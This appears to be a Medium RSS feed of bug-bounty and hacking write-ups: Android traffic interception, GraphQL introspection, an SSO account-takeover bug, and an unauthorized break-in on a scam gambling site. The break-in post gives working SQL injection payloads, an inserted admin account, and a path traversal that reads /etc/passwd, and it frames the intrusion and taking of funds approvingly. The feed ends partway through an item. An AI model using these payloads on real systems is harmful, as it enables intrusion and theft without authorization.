<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0x4KD on Medium]]></title>
        <description><![CDATA[Stories by 0x4KD on Medium]]></description>
        <link>https://medium.com/@0x4kd?source=rss-881d8775411------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*LyNUfIaJ0r6dvbvqVaqlew.png</url>
            <title>Stories by 0x4KD on Medium</title>
            <link>https://medium.com/@0x4kd?source=rss-881d8775411------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 12:01:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0x4kd/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Running a MITM on a Google Play App | Fintech Bug Bounty — Part 3]]></title>
            <link>https://0x4kd.medium.com/running-a-mitm-on-a-google-play-app-fintech-bug-bounty-part-3-82ebdd852d07?source=rss-881d8775411------2</link>
            <guid isPermaLink="false">https://medium.com/p/82ebdd852d07</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bounty-hunter]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[0x4KD]]></dc:creator>
            <pubDate>Sun, 04 Feb 2024 13:06:38 GMT</pubDate>
            <atom:updated>2024-02-04T13:06:38.378Z</atom:updated>
            <content:encoded><![CDATA[<h3>Running a MITM on a Google Play App | Fintech Bug Bounty — Part 3</h3><blockquote>This article is the 3rd part of the “<strong>Fintech Bug Bounty</strong>” series.</blockquote><h4>Summary</h4><ul><li><a href="https://medium.com/@0x4kd/how-i-became-a-millionaire-in-3h-fintech-bug-bounty-part-1-90193c5bd86f">How I became a millionaire in 3h | Fintech Bug Bounty — Part 1</a></li><li><a href="https://0x4kd.medium.com/graphql-exploitation-techniques-fintech-bug-bounty-part-2-b05b9cb7d64b">GraphQL Exploitation Techniques | Fintech Bug Bounty — Part 2</a></li><li><strong>Running a MITM on a Google Play App | Fintech Bug Bounty — Part 3</strong></li><li>(REDACTED) | Fintech Bug Bounty — Part 4 | <strong>Available on Mar 2024</strong></li><li>(REDACTED) | Fintech Bug Bounty — Part 5 | <strong>Available on Apr 2024</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*6VvuKcG0OsFfLB72lghF6A.png" /><figcaption>Digital artwork illustrating Android — Generated with DALL·E</figcaption></figure><p>After uncovering the <strong>GraphQL playground</strong> and exploring the <strong>introspection query</strong> as we discussed <a href="https://0x4kd.medium.com/graphql-exploitation-techniques-fintech-bug-bounty-part-2-b05b9cb7d64b">previously</a>, I got curious to witness these calls in real-time. I wanted to understand their usage context, and importantly, uncover any <strong>hidden queries or mutations</strong> that weren’t listed in the introspection.</p><p>To do this, I needed to <strong>intercept</strong> the app-server communication. This usually involves a <strong>MITM</strong> setup, but there’s a catch: intercepting doesn’t mean you can read the traffic; it must be <strong>decrypted</strong> first. Luckily, I have a rooted Android phone for such experiments. Here’s the plan:</p><ul><li>Install the Fintech application from Google Play into the rooted phone</li><li>Install the Burp Suite SSL certificate.</li><li>Set up my laptop as a Wi-Fi proxy</li><li>Configure Burp Suite to intercept the data.</li></ul><p>This method hinged on one critical factor: the absence of certificate pinning in the app. <strong>Certificate pinning</strong> is a security measure where an app is hardwired to trust <strong>only</strong> specific SSL certificates, making it tough to decrypt its communication. If the app had used certificate pinning, I would have had to <strong>decompile</strong> it, <strong>swap</strong> out the certificate, and <strong>recompile</strong> it — a process I was keen to avoid.</p><h4>Adding a custom SSL certificate to an Android phone</h4><p><strong>Why Root Access Matters</strong>: Android systems, for security reasons, limit the addition of new trust certificates. However, with root access, you can override these restrictions. Rooting allows you to tweak system files and settings, crucial for installing a custom certificate.</p><p>First, grab the certificate you need. For the <strong>Burp Suite’s certificate</strong>, simply visit <a href="http://127.0.0.1:8080/">http://127.0.0.1:8080</a>, and download the CA certificate. The <strong>cacert.der</strong> file is what you need, in binary format.</p><p>Android verifies the certificate’s hash against its file name. So, calculate the hash and rename the file accordingly:</p><pre># Calculate the certificate&#39;s hash on your local machine using the .der file<br>CERT_HASH=$(openssl x509 -inform DER -subject_hash_old -in cacert.der | head -1)<br>echo &quot;Certificate hash: $CERT_HASH&quot;<br><br># Rename the .der certificate with the calculated hash and .0 extension<br>mv cacert.der ${CERT_HASH}.0</pre><p>I ended up with the file <strong>9a5ba575.0</strong>, and it’s likely you will end up with the same result. This particular certificate is set to expire in 2032.</p><p>Next, push this file to the rooted Android using <strong>ADB</strong> (Android Debug Bridge), and place it in the system’s trusted credentials. This involves <strong>remounting</strong> the system partition with read/write permissions, moving the certificate, and setting the correct permissions:</p><pre># Push the renamed certificate to the Android device<br>adb push 9a5ba575.0 /sdcard/<br><br># Move the certificate to the system&#39;s trusted credentials<br>adb shell<br>su<br>mount -o rw,remount /system<br>cp /sdcard/9a5ba575.0 /system/etc/security/cacerts/<br>chmod 644 /system/etc/security/cacerts/9a5ba575.0<br>reboot</pre><p>After rebooting the phone, if all goes well, you’ll be ready to decrypt the traffic in Burp Suite using your proxy setup.</p><h4>Setting the LAN proxy</h4><p>This part’s straightforward. In your Android’s Wi-Fi settings, switch the proxy to ‘<strong>Manual</strong>’, input your computer’s private IP and the chosen port (8080 works well). Ensure Burp Suite is set to listen on all interfaces (0.0.0.0:8080).</p><p>Once configured, let’s fire up the Fintech app and turn on the interceptor in Burp Suite.</p><h4>Enjoying the results</h4><p>Thankfully, everything went <strong>smoothly</strong>. I could observe every backend request made by the Fintech app, pause them, inspect, and even modify them. Even better, I could see the actual responses using my account details!</p><p>For now, I’m not reporting any vulnerabilities. I’ve noted in my report to recommend <strong>certificate pinning</strong> to enhance security, but I’ll hold off on sharing this until my research is complete. 😎</p><p>Stay tuned for more findings in the next chapter!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82ebdd852d07" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GraphQL Exploitation Techniques | Fintech Bug Bounty — Part 2]]></title>
            <link>https://0x4kd.medium.com/graphql-exploitation-techniques-fintech-bug-bounty-part-2-b05b9cb7d64b?source=rss-881d8775411------2</link>
            <guid isPermaLink="false">https://medium.com/p/b05b9cb7d64b</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bounty-hunter]]></category>
            <dc:creator><![CDATA[0x4KD]]></dc:creator>
            <pubDate>Sun, 11 Dec 2022 23:07:27 GMT</pubDate>
            <atom:updated>2024-02-04T13:08:32.369Z</atom:updated>
            <content:encoded><![CDATA[<h3>GraphQL Exploitation Techniques | Fintech Bug Bounty — Part 2</h3><blockquote>This article is the 2nd part of the “<strong>Fintech Bug Bounty</strong>” series.</blockquote><h4>Summary</h4><ul><li><a href="https://medium.com/@0x4kd/how-i-became-a-millionaire-in-3h-fintech-bug-bounty-part-1-90193c5bd86f">How I became a millionaire in 3h | Fintech Bug Bounty — Part 1</a></li><li><strong>GraphQL Exploitation Techniques | Fintech Bug Bounty — Part 2</strong></li><li><a href="https://0x4kd.medium.com/running-a-mitm-on-a-google-play-app-fintech-bug-bounty-part-3-82ebdd852d07">Running a MITM on a Google Play App | Fintech Bug Bounty — Part 3</a></li><li>(REDACTED) | Fintech Bug Bounty — Part 4 | <strong>Available on Mar 2023</strong></li><li>(REDACTED) | Fintech Bug Bounty — Part 5 | <strong>Available on Apr 2023</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*EQaVYcaAUnAPZzqi-meEEw.png" /><figcaption>GraphQL Exploitation Techniques — Generated with Stable Diffusion</figcaption></figure><p>After sending the report for the bugs found in <a href="https://medium.com/@0x4kd/how-i-became-a-millionaire-in-3h-fintech-bug-bounty-part-1-90193c5bd86f">Part 1</a>, I had the chance to speak with the technical team and get some insider information: There was a <strong>service I hadn’t discovered yet,</strong> that was being used only on the <strong>mobile application</strong>.</p><p>I first did install <strong>Lucky Patcher </strong>on my phone, an application that allows you to back up APK files from applications installed on your phone.</p><blockquote>Probably there are better options to do this, but I’ve been using it for over a decade now. Old habits die hard.</blockquote><p>I sent the APK file to my computer and decompiled it with <strong>Apktool</strong>.<br>This is as easy as running:</p><pre>sudo apt install apktool<br>apktool d &lt;apk file&gt;</pre><p>Having the application decompiled, I opened the folder with Visual Studio and searched for the bank domain.</p><p>I was expecting to find, at least, a new subdomain. But that’s when I <strong>discovered</strong> they had a <strong>secondary domain</strong>. That’s why I missed the backend service for the mobile application!</p><h4>Investigating the new domain</h4><p>They were not using the base domain. The URL that I found in the application code had a production subdomain (f.e: production.medium.com)</p><p>This made me think that there could also exist subdomains for other environments. Instead of searching for them manually, I used <a href="https://securitytrails.com/">Security Trails</a>. It’s a <strong>great tool</strong> I like to use when I don’t want to use <em>fuzzers</em>.</p><p>Long story short, I found a development and a testing environment.<br>And on both of them, there was a <strong>GraphQL Playground instance</strong>.</p><h4>Using the GraphQL Playground</h4><p>Finding a GraphQL Playground can’t be considered a vulnerability (because it is not). We must <strong>prove</strong> there’s an <strong>impact</strong> on having it enabled.</p><p>However, if there’s a GraphQL Playground, there’s a <strong>high chance</strong> that <strong>Introspection Queries</strong> are enabled. These queries are used to fulfil the <strong>Documentation</strong> section.</p><p>An <strong>Introspection Query</strong> is a GraphQL query that returns information about the developed service. If enabled, it can return every available query, mutation and data type defined in the application.</p><blockquote>In a conventional JSON:API, this would be like having an endpoint <br>called <em>GET /schema</em> that tells you what the available endpoints are, what parameters they need, and what should you be expecting in the response. <br>But without an official or public documentation site <em>😉</em></blockquote><p>If you’re running a pentest against a company having an <strong>active bug bounty program</strong>, this may not be relevant: they may be offering this information on purpose. Instead, it is a <strong>big deal</strong> for companies that expect to keep this secret.</p><p>In this case, I didn’t need to run the <strong>Introspection Query</strong> because the Documentation section of the GraphQL Playground had plenty of info. <br>But in a different situation, I would have tried running:</p><pre># Introspection Query<br>query IntrospectionQuery {<br> __schema {<br>  queryType { name }<br>  mutationType { name }<br>  subscriptionType { name }<br>  types { ...FullType }<br>  directives {<br>   name<br>   description<br>   locations<br>   args { ...InputValue }<br>  }<br> }<br>}<br><br>fragment FullType on __Type {<br> kind<br> name<br> description<br> fields(includeDeprecated: true) {<br>  name<br>  description<br>  args { ...InputValue }<br>  type { ...TypeRef }<br>  isDeprecated<br>  deprecationReason<br> }<br> inputFields { ...InputValue }<br> interfaces { ...TypeRef }<br> enumValues(includeDeprecated: true) {<br>  name<br>  description<br>  isDeprecated<br>  deprecationReason<br> }<br> possibleTypes { ...TypeRef }<br>}<br><br>fragment InputValue on __InputValue {<br> name<br> description<br> type { ...TypeRef }<br> defaultValue<br>}<br><br>fragment TypeRef on __Type {<br> kind<br> name<br> ofType {<br>  kind<br>  name<br>  ofType {<br>   kind<br>   name<br>   ofType {<br>    kind<br>    name<br>    ofType {<br>     kind<br>     name<br>     ofType {<br>      kind<br>      name<br>      ofType {<br>       kind<br>       name<br>       ofType {<br>        kind<br>        name<br>       }<br>      }<br>     }<br>    }<br>   }<br>  }<br> }<br>}</pre><p>You’ll identify if the response is <strong>successful</strong> or <strong>not </strong>easily. If it is, you can go to a public Playground website, <strong>intercept</strong> the <strong>Introspection Query</strong> <strong>request</strong> (using Burp, for example) and <strong>replace</strong> the original response <strong>with your result</strong>. This will give you a visual interface to investigate the “available endpoints”.</p><h4>Analysis result</h4><p>After spending some time looking at the endpoints, I discovered <strong>two</strong> <strong>different</strong> <strong>issues</strong>:</p><ul><li>In the development and testing environments, there was a query that allowed me to <strong>retrieve</strong> <strong>all</strong> <strong>the</strong> <strong>users</strong> on the platform. It was not critical, but I could gather the personal information of multiple developers and business clients.</li><li>In production, there was a query that could be <strong>abused</strong> to check for <strong>existing</strong> <strong>emails</strong> and <strong>phones</strong> within the platform (PII disclosure, but only if you know what you’re searching for).</li></ul><p>And none of this required authentication!</p><h4>Conclusion</h4><p>They awarded a <strong>bounty</strong> for the three vulnerabilities: 2 scored as <strong>High,</strong> and one scored as <strong>Low</strong> (The GraphQL <strong>Introspection Queries</strong> + Playground sites).</p><p>However, this is not the end. Some other queries and mutations seemed suspicious, but I couldn’t exploit them because they require authentication. And replicating the login process wasn’t that simple…</p><p>But we’ll talk about that in the <a href="https://0x4kd.medium.com/running-a-mitm-on-a-google-play-app-fintech-bug-bounty-part-3-82ebdd852d07"><strong>next chapter</strong></a><strong>!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b05b9cb7d64b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stealing from scammers using SQL Injection | Ethical Hacking Payback — Part 1]]></title>
            <link>https://0x4kd.medium.com/stealing-from-scammers-using-sql-injection-ethical-hacking-payback-part-1-572cc7f6a12a?source=rss-881d8775411------2</link>
            <guid isPermaLink="false">https://medium.com/p/572cc7f6a12a</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[bounty-hunter]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[0x4KD]]></dc:creator>
            <pubDate>Sun, 13 Nov 2022 23:27:32 GMT</pubDate>
            <atom:updated>2022-11-13T23:27:32.791Z</atom:updated>
            <content:encoded><![CDATA[<h3>Stealing from scammers using SQL Injection | Ethical Hacking Payback — Part 1</h3><p>Have you ever heard about these loot box gambling sites where you can bet the items you won playing games (like CS:GO), and get better skins?</p><p>Well, a friend of mine started receiving messages on his Steam profile inviting him to new gambling websites.</p><p>He played on some of them and had fun, but something happened: <br><strong>He got scammed.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*V2cw4iTBN8mpnbdzle09jw.png" /><figcaption>Dark digital art desktop generated by Stable Diffusion</figcaption></figure><blockquote>This is a serious subject. Too serious to talk about it here in detail. Here’s five cents on what my opinion is, but if you don’t want to get political, feel free to <a href="#cec1">skip to the technical details</a>.</blockquote><blockquote>Gambling culture has been spread across our society like a common, cool and natural thing.<strong> It is not</strong>. It’s a legal drug. People think it’s ok to have physical Sport-Gambling stores across our towns, websites that allows you to gamble using cryptocurrencies, Twitch streams showing you how people earn millions from virtual casinos… <br><strong>This is not ok</strong>, and we should all be concerned about how young-aged citizens gets trapped into this world, end up losing all their money (in this case, we’re talking about <strong>+20k</strong>), having depression, and not getting help from authorities because the medical system is collapsed. <strong>Fuck that.</strong></blockquote><h3>How did it begin</h3><p>I knew he got scammed right when he told me what happened, but it was <strong>not that obvious to him</strong>:</p><p>This guy from Steam awarded him <strong>$10 for joining the website</strong>. He used the credit for gambling and <strong>won some extra cash</strong>. Cool! But there were some rules:</p><ul><li>The withdrawal feature was <strong>disabled</strong> until reaching level 10.</li><li>The only way to gamble was using your own Steam inventory items. You couldn’t gamble the items you had already won on the page, because you needed to <strong>withdraw</strong> them first.</li></ul><p>He spent some days adding items from Steam, spending the credit on loot boxes, getting new skins, and levelling up the account.<br>Eventually, he <strong>spent around $2000</strong> and <strong>never reached Level 10</strong>. And this is when he called me.</p><blockquote>I’m pretty sure I should have already reached Level 10. The Level bar has been stuck at Level 9 for two days.</blockquote><p>To me, this was a pretty obvious scam, but I couldn’t know for sure. <br>I needed to know the truth.</p><p>There was activity on the website, I can say that. You<strong> could see users gambling</strong> in real-time, people winning and losing bets. It <strong>didn’t really look suspicious</strong>. But I saw this “Online Users” counter on the website’s footer, and it was always between 700 and 715, no matter the time of the day. Weird. Here’s what we did:</p><ul><li>We used the support chat on their website, but no one answered.</li><li>We also tried to talk with the guy from Steam that invited him. No answer either.</li></ul><p>Later, I realized that the <strong>footer&#39;s social media links</strong> were pointing to an <strong>existing gambling site</strong> that<strong> </strong>ran out of business a couple of years ago. The scammers were clearly <strong>supplanting them</strong>.</p><p>This is when I decided to hack them.</p><blockquote><strong>Disclaimer</strong>: We need to keep in mind that, if this had been a legit gambling site, what I did would have been completely wrong. No one should try gaining access to your application to investigate if your service is legitimate or not.</blockquote><blockquote>But I’m pretty glad that I did it.</blockquote><h3>Admin page</h3><p>Yeah, they had an admin page. I ran FFUF against the website and found it in less than 2 minutes.</p><p>It looked quite different to the main webpage, though. I felt like it could be a pretty old admin panel tool they installed a while ago.</p><p>It really seemed vulnerable to SQL injection, so I tried running some payloads to log in, like:</p><pre>&#39; or 1=1;--<br>&quot; or 1=1;-- <br>%&#39; or 1=1;--<br>%&quot; or 1=1;--</pre><p>But nothing worked.<br>Then I tried some blind SQL injection payloads:</p><pre>&quot; or sleep(10);--<br>&#39; or sleep(10);--</pre><p>And surprise: the webpage got stuck loading when I ran the payload starting with &#39;. The admin panel was SQL-vulnerable!</p><p>At this point, I started using <strong>sqlmap</strong> to get all the database information. I dumped the database structure, and the content of the tables I was interested in.</p><p>There was a table called admins, which looked just like what I was looking for: a table to check which users can log in to the admin panel.</p><p>The structure was quite simple:</p><pre>| `id` | `login` | `password` | `hash` | `date` |</pre><p>I noticed the hash field was an MD5 hash, and the password field contained values starting with $2y$10$.</p><p>$2y$10$ is the value that the password_hash PHP function returns when there’s no extra configuration. The <strong>cost is 10 </strong>and there’s <strong>no salt</strong> configuration by default. You can check the <a href="https://www.php.net/manual/en/function.password-hash.php">documentation</a> for further reference.</p><p>I wondered if I could run stacked queries to insert my own user into the table. So, I created a PHP script on my machine, called the password_hash function to generate the password, used the md5 function to create the hash, and went to the login page to run the following payload:</p><pre>&#39;; insert into `admins` (`id`, `login`, `password`, `hash`, `date`) VALUES (100001, &#39;test&#39;, &#39;$2y$10$...&#39;, &#39;6e894...&#39;, &#39;&#39;);-- </pre><p>Then I tried to log in with my new username and password. <br>And it worked, I was in!</p><h3>Analysing and tweaking the admin panel</h3><p>Here is when I confirmed they were scammers. They had an admin panel to manage the website’s fake data: they were able to set the random amount of users connected to the website that was being displayed in the footer, there was a list with hundreds of bots that were supposed to be betting, and then a whole list of real users that had registered on the website. <br>My friend was on that list.</p><p>The webpage was fully configurable, so it could be set up with different names, logos, and themes in just a couple of clicks. I’m pretty sure there must be several copies of this website over the internet, scamming people.</p><p>I remember there was a checkbox allowing registered users to reach level 10. <strong>It was disabled.</strong></p><p>The first option that came into my mind was tweaking this configuration to allow users to reach level 10 and let them withdraw the items. But soon I realized there was no withdrawal feature developed. If you enabled that option, users could see the Withdrawal page, but it was blank.</p><h3>Local File Disclosure</h3><p>One of the first things that I noticed was that they were using this widely known exploitable way to load pages: passing the page name on a GET parameter: /admin?page=dashboard.</p><blockquote>They must be loading PHP files — I thought.</blockquote><p>I tried loading the dashboard page directly by visiting /admin/dashboard.php, and the dashboard section appeared. Cool!</p><p>And that’s when I wondered: what happens if I try <strong>loading a non-existing file</strong> in the pageparameter?</p><p>I tried going to /admin?page=qwerty, but it redirected me to /admin?page=dashboard.</p><blockquote>These kinds of tests are mandatory while trying to exploit an application. You’ll need to find a way to differentiate OK and KO behaviours in order to analyse the results of your payloads.</blockquote><p>So, what do we know so far?</p><ul><li>They’re asking for a <strong>file name</strong> in the page parameter.</li><li>Seems like they’re adding .php at the end of the page parameter to <strong>load the PHP file</strong>. (like $GET[&#39;page&#39;] . &quot;.php&quot;)</li><li>If you try to include a <strong>non-existing file</strong>, you get <strong>redirected</strong> to the <strong>dashboard</strong> page.</li></ul><p>I had to keep digging. There were a lot of ways this could be vulnerable.<br>At this point, my main question was if I would be able to load files from a different folder (AKA: <strong>path traversal</strong>).</p><p>There was only one file I knew existed on the website: the index.php file in the document root. So, I tried visiting /admin?page=../index, but got redirected to the dashboard page.</p><p>There were mainly two reasons why this could not be working:<br>Either it was not possible to load files from a different folder, or the system was filtering the ../ string in some way.</p><p>Then I tried to exploit it using URL encoding. <br>I’ll do the conversion for you:</p><ul><li>. ⇒ %2e</li><li>/ ⇒ %2f</li><li>../ ⇒ %2e%2e%2f</li></ul><p>So, I went to /admin?page=<strong>%2e%2e%2f</strong>index, but again, got redirected to the dashboard page.</p><p>And right after that, I went to /admin?page=<strong>%2e%2e%2e%2f%2e%2f</strong>index and saw the main web page embedded inside the admin panel!</p><h4>Bypassing Path Traversal Filters</h4><p><strong>Wait</strong>, what did just happen?</p><p>This is something I usually do while testing for path traversal file inclusions. Programmers try to avoid path traversals by removing the ../ strings, but some of them don’t know <strong>this needs to be done recursively</strong>.</p><p><strong><em>Why, though?</em></strong> — You may be asking.<br>For the same reason why this payload worked! Let’s take a deeper look:</p><ul><li>This is the payload that I sent: %2e%2e%2e%2f%2e%2findex.</li><li>This is how it looks without URL encoding: ..././index.</li><li>Now, let’s remove every ../ from the string: .<strong>../</strong>./index.</li></ul><p>What’s the result? ../index ! That’s what we were looking for!</p><p>If they had used a recursive function to remove the dangerous strings, this is how it would have worked:</p><ul><li>..././index ⇒ ../index ⇒ index</li></ul><p>But they were only checking it once!</p><h4>Null Byte Injection</h4><p>So, now we also know we can include files from different folders. <br><strong>What’s next?</strong></p><p>We must do something with <strong>the extension</strong>. The code must be adding .php at the end of the pageparameter. How can we avoid this from happening?</p><p>Well, some time ago, I discovered you can use <strong>null bytes (%00)</strong> to indicate the end of a string. <strong>The end of the content.</strong></p><p>So, what does it happen if I visit /admin?page=%2e%2e%2e%2f%2e%2findex<strong>%00</strong> ?<br>It redirected me to the dashboard page.</p><blockquote>The system has not been able to find the file. Let’s try adding the extension in the payload and see how that works.</blockquote><p>I wrote /admin?page=%2e%2e%2e%2f%2e%2findex<strong>.php</strong>%00 in the URL, and the main web page got embedded inside the admin panel one more time! 😎</p><h4>Disclosing important files</h4><p>Now we have everything we need to exploit this properly.<br><strong>Final test</strong>: reading the /etc/passwd file.</p><p>I don’t really care where we are in the filesystem: We may be at /var/www/&lt;project&gt;, /home/&lt;project&gt;, etc. I just want to get out of every single folder and load the file. How would you do this in a regular terminal?</p><pre>cat ../../../../../../../../../../../../etc/passwd<br># Go back (../) as many times as you want. <br># If you&#39;re 5 levels deep in the filesystem (/dir1/dir2/dir3/dir4/dir5), <br># adding 100 &quot;../&quot; will lead you to the root of the system (/)</pre><p>Let’s convert our payload. There are only three necessary steps:</p><ul><li>Convert every ../ to %2e%2e%2e%2f%2e%2f (..././) to bypass the filter.</li><li>URL encode /etc/passwd ⇒ %2fetc%2fpasswd</li><li>Add a null byte to the end of the payload ⇒ %00</li></ul><pre>/admin?page=%2e%2e%2e%2f%2e%2f%2e%2e%2e%2f%2e%2f%2e%2e%2e%2f%2e%2f%2e%2e%2e%2f%2e%2f%2e%2e%2e%2f%2e%2f%2e%2e%2e%2f%2e%2f%2e%2e%2e%2f%2e%2f%2e%2e%2e%2f%2e%2f%2e%2e%2e%2f%2e%2f%2e%2e%2e%2f%2e%2f%2e%2e%2e%2f%2e%2f%2e%2e%2e%2f%2e%2fetc%2fpasswd%00</pre><p>And there we go! I loaded the /etc/passwd file inside the admin panel! 🎉</p><h3>The end?</h3><p>Of course not. There are still a lot of details to be explained. We ended up stealing some of their funds in a very fun way. But this story is getting pretty long, so I’ll continue writing it as soon as I can!</p><p>Continue reading (not available yet): <strong>Stealing from scammers using SQL Injection | Ethical Hacking Payback — Part 2</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=572cc7f6a12a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google SSO misconfiguration leading to Account Takeover]]></title>
            <link>https://0x4kd.medium.com/google-sso-misconfiguration-leading-to-account-takeover-cf9bcf63e76e?source=rss-881d8775411------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf9bcf63e76e</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bounty-hunter]]></category>
            <dc:creator><![CDATA[0x4KD]]></dc:creator>
            <pubDate>Fri, 14 Oct 2022 08:01:48 GMT</pubDate>
            <atom:updated>2022-10-14T08:01:48.718Z</atom:updated>
            <content:encoded><![CDATA[<p>I’m a technical guy. However, this post doesn’t contain any technical details (but that’s because this bug doesn’t require any). <br>I need to admit it: <strong>finding this bug </strong>was<strong> pure luck</strong>. <br><strong>No skill </strong>was <strong>involved</strong> at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*sA7nTuQkgTsb1y5tIlj9Gw.png" /><figcaption>Account Takeover representation by Dall-E</figcaption></figure><h4>Some context…</h4><p>A couple of weeks ago, a client for whom I worked last year called me because he <strong>needed some help</strong> describing the service we developed for him. He was going to sell the company and was being asked for the technical details.</p><p>There was an explicit requirement that would have forced me to examine all the code and search for specific information, but <strong>I was feeling too lazy</strong> to do that. So I thought about my options:</p><ul><li>Either I spend the next two hours examining every line of code…</li><li>Or I can search for an <strong>online tool</strong> that does the job for me! 🎉</li></ul><blockquote>We all know how this ends. You end up wasting your time looking for a service and getting nothing done. I could have spent my time doing it manually.</blockquote><blockquote><strong>Lucky me, I tried searching for a tool instead.</strong></blockquote><h4>Discovering the bug</h4><p>I remembered I used a webpage about 3 years ago that had a similar feature, so I decided to investigate.</p><p>Once I logged in, I was <strong>expecting</strong> to find my <strong>previous projects</strong>, but<strong> they were all missing</strong>. Instead, many “random” GitHub repositories were attached to my account. They were from a big, known company… And they were not Open Source, <strong>I can tell you that</strong>. 😝</p><blockquote>Why do I never get permission for publishing the name of these companies? <br>It doesn’t matter how do I argue with them, they’ll always want to keep it secret.<br>…<br>I guess that’s why I work in computer science and not in politics. <br>Zero persuassion techniques😅</blockquote><p>Suddenly, I realized that <strong>that was not my account</strong>. I went to the settings page and<strong> saw a different email</strong>. I didn’t even know how did I manage to log in to their account.</p><p>“<em>Let’s try to do it again</em>”, my mind said. Open a new Chrome profile, go to the webpage, log in using Google… <strong>Again</strong>. I’m in their account.</p><p>That’s when I decided to use a different Google account. <br>Maybe — <em>I thought </em>— using a different email address leads me to a different account. And <strong>I was right</strong>.</p><p>But then… <strong>Pattern detected?</strong></p><p>The <strong>first letter</strong> of my <strong>email</strong> was matching the <strong>first letter</strong> of the <strong>app account.</strong></p><p>Coincidence? Not sure, yet. Let’s use multiple emails:</p><blockquote>n*******@domain.com (Google email) =&gt; n*******@whatever.com (App)<br>e*******@domain.com (Google email) =&gt; e*******@whatever.com (App)<br>a*******@domain.com (Google email) =&gt; a*******@whatever.com (App)<br>z*******@domain.com (Google email) =&gt; z*******@whatever.com (App)</blockquote><p>So yeah, I had <strong>discovered</strong> a way to access, at least, <strong>35 accounts</strong> (a-z0–9).</p><h4>Understanding the issue</h4><p>Eventually, while trying different emails, I ended up in the account I was expecting to access in the first place: The account with my projects.<strong> </strong>That’s when I realized what the problem was:<strong> </strong>I <strong>tried to log in</strong> with an <strong>email that wasn’t registered</strong> on the website.<strong> </strong>I was<strong> signing in </strong>when<strong> </strong>I should have<strong> registered first.</strong></p><blockquote>FFS, that’s not the account I used for my projects. I had them stored into a different, specific account that I created using Google Suite.<br>Should I have gone to the register page instead of using the login popup?</blockquote><p>So I went to the <strong>register</strong> page, used one of the previous emails (one that I knew didn’t exist but had led me to an account that was not mine), and <strong>registered successfully</strong>. I logged out, and when I logged in… <strong>I was inside the correct account</strong>.</p><h4>Conclusions</h4><p>The <strong>developers</strong> <strong>assumed</strong> that if a user was using the <strong>login</strong> popup, the user must have been <strong>present</strong> in the database. This led to grabbing a database entry <strong>no matter if there was an exact match</strong>.<br>“Signing Up” and “Signing In” using SSO <strong>should have the same auth flow</strong>, and the backend should have decided whether to <strong>add a new user</strong> into the database or <strong>grab an existing one</strong> if the data matched!</p><h4>So, what do you do, in these situations?</h4><p>This is not a bug bounty program, and you didn’t have access to pentest the application in the first place. Are you <strong>in trouble</strong>?<br>Well,<strong> you might be</strong>, but that’s not what usually happens.</p><p>I searched for the support email and sent them the details: <strong>not asking for a bounty</strong>, with <strong>reproducible steps</strong>, and an <strong>apology</strong> for running several tests to understand the issue.</p><p>They answered quite fast, confirming that the issue was fixed and granting me some credit inside the application.</p><blockquote>It’s not a monetary bounty, but I’m happy anyway. — I thought.</blockquote><p>The bad news is that the application couldn’t get my problem fixed. But hey, in the end, someone ended up paying for the two hours that it took me to do the job manually 😉</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf9bcf63e76e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I became a millionaire in 3h | Fintech Bug Bounty — Part 1]]></title>
            <link>https://0x4kd.medium.com/how-i-became-a-millionaire-in-3h-fintech-bug-bounty-part-1-90193c5bd86f?source=rss-881d8775411------2</link>
            <guid isPermaLink="false">https://medium.com/p/90193c5bd86f</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bounty-hunter]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[0x4KD]]></dc:creator>
            <pubDate>Thu, 28 Jul 2022 08:06:06 GMT</pubDate>
            <atom:updated>2024-02-04T13:07:57.807Z</atom:updated>
